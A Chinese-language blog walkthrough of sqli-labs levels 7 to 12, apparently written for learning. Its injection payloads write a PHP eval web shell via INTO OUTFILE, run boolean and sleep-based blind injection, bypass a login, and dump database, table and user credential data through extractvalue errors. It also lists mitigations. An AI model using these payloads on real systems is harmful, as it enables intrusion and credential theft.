接續前篇 從sqli-labs學習SQL注入(Less1-Less6)
Less-7
因為這裡把print_r(mysql_error());給註釋掉了(和Less-5 相比),所以就不可以使用報錯注入了,這個時候只能使用布爾盲注和延時盲注,可以嘗試手工驗證一下然後放到 sqlmap 裡面來跑。
經過幾次嘗試,不難猜到頁面不會產生SQL報錯了。但是本題的題目是:Dump into Outfile
所以我們使用Less-2 去找出相關的文件夾位置
找目錄payload
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
輸出內容:
Your Login name:/usr/
Your Password:/var/lib/mysql/
如果靶場環境是常見的套件裝的,這時候可以透過上面返回的路徑猜php項目目錄,如:Linux nginx(/usr/local/nginx/html, /home/wwwroot/default, /usr/share/nginx, /var/www/htm ..等)、apache(/var/www/htm,.../var/www/html/htdocs)、phpstudy(http://phpstudy20180211/PHPTutorial/WWW/)、xampp(\xampp\htdocs)
但是因為我MySQL用的是docker容器,所以和php環境是隔離開來的,所以這題沒法寫後門到php環境。
手動寫檔
直接在Navicat 裡面跑一遍SQL有無報錯
select 1,2,'' into outfile "C:\\path\\sqli-labs\\eval.php"
報錯:1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
注意:windows系統要用\\ 去寫路徑
原來是docker mysql:5.6 容器設置了 secure_file_priv:/var/lib/mysql-files/
可以使用 Less-2/?id=-1 union select 1,@@basedir,@@secure_file_priv --+ 查出來
關於 secure_file_priv
https://www.cnblogs.com/Braveliu/p/10728162.html Mysql 导入文件提示 --secure-file-priv option 问题
(1)NULL,表示禁止。
(2)如果value值有文件夾目錄,則表示只允許該目錄下文件(PS:測試子目錄也不行)。
(3)如果為空,則表示不限制目錄。
寫後門payload
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "/var/lib/mysql-files/eval.php"--+
輸出內容:You have an error in your SQL syntax
雖然報錯了,但是一句話木馬文件已經寫進去了,我們進docker容器看一下# docker exec -it my-mysql-5.6 bash
root@135b4e1fccde:/# ls /var/lib/mysql-files/
eval.php
root@135b4e1fccde:/# cat /var/lib/mysql-files/eval.php
1 2 <?php @eval($_POST["cmd"]);?>
如何避免SQL注入寫木馬
滿足以下其中一條即可
1. 把php環境和MySQL環境分開(docker或不同機器)
2. MySQL設置 secure_file_priv
3. php不要用root連MySQL,開的用戶不給file權限(Navicat中不給伺服器權限,只給資料庫權限)
布爾盲注
?id=1')) and left(database(),1)>'r'--+
輸出內容:You are in.... Use outfile......
?id=1')) and left(database(),1)>'s'--+
輸出內容:You have an error in your SQL syntax
這邊要注意,id=1後面加兩個)。由此得知資料庫的第一個字是s
Less-8
和Less-7 類似,注釋掉報錯 print_r(mysql_error()) 了,拼接只有單引號。可使用布爾盲注和延時盲注
布爾盲注
最後可以得到這個payload
payload
?id=1' and left((select database()),8)='security'--+
輸出內容:You are in...........
得知庫名是securityLess-9
和Less-8類似,不同的是無論有無查到內容都會輸出內容【You are in...........】,所以不能使用布爾盲注了。只能使用延時盲注 ,參考Less-5的延時手注
測試有無延時盲注注入點
?id=1' and sleep(3) --+
Less-10
和Less-9類似,只是拼接方式不一樣,把id=1'的單引號改成雙引號, id=1"
POST類型
Less-11 到 Less-20 登錄表單問題是POST提交。可以使用HackBar 或 burpsuit
Less-11
萬能密碼(HackBar)
uname=admin' and 1=1 --+&passwd=
如果我使用 uname=admin' and 1=1 --+&passwd=admin&submit=Submit ,HackBar會報錯form.submit is not a functionBurp Suite
社區版和專業版的區別
見下圖
社區版不能保存專案(工作狀態)訪問 Less-11
然後提交表單,就會在burp suite中攔截請求
修改請求// 能登錄
uname=admin' and 1=1 --+ &passwd=&submit=Submit
// 不能登錄
uname=admin' and 1=2 --+ &passwd=&submit=Submit
即可登錄
報錯盲注
爆庫名
(一樣使用burp suite)
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~security'
爆表名
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~emails,referers,uagents,users'
爆字段
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~id,username,password'
爆值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'
使用 not in 爆其他值uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~Dummy:p@ssword,secure:crappy,st'
聯合盲注
檢查注入點
uname=0' union select 1,2 --+&passwd=admin&submit=Submit
輸出內容:
Your Login name:1
Your Password:2
發現注入點
爆庫名
uname=0' union select 1,database() --+&passwd=admin&submit=Submit
輸出內容:
Your Login name:1
Your Password:security
Less-12
報錯盲注
這題拼接SQL的方式是雙引號加括號
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
可在burp suite的瀏覽器中裝chrome XDebug插件後斷點觀察SQL拼接情況
爆庫名
uname=admin") and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~security'
爆表名
uname=admin") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~emails,referers,uagents,users'
就是把Less-11 報錯盲注的單引號改成雙引號加括號,聯合盲注也是一樣
沒有留言:
張貼留言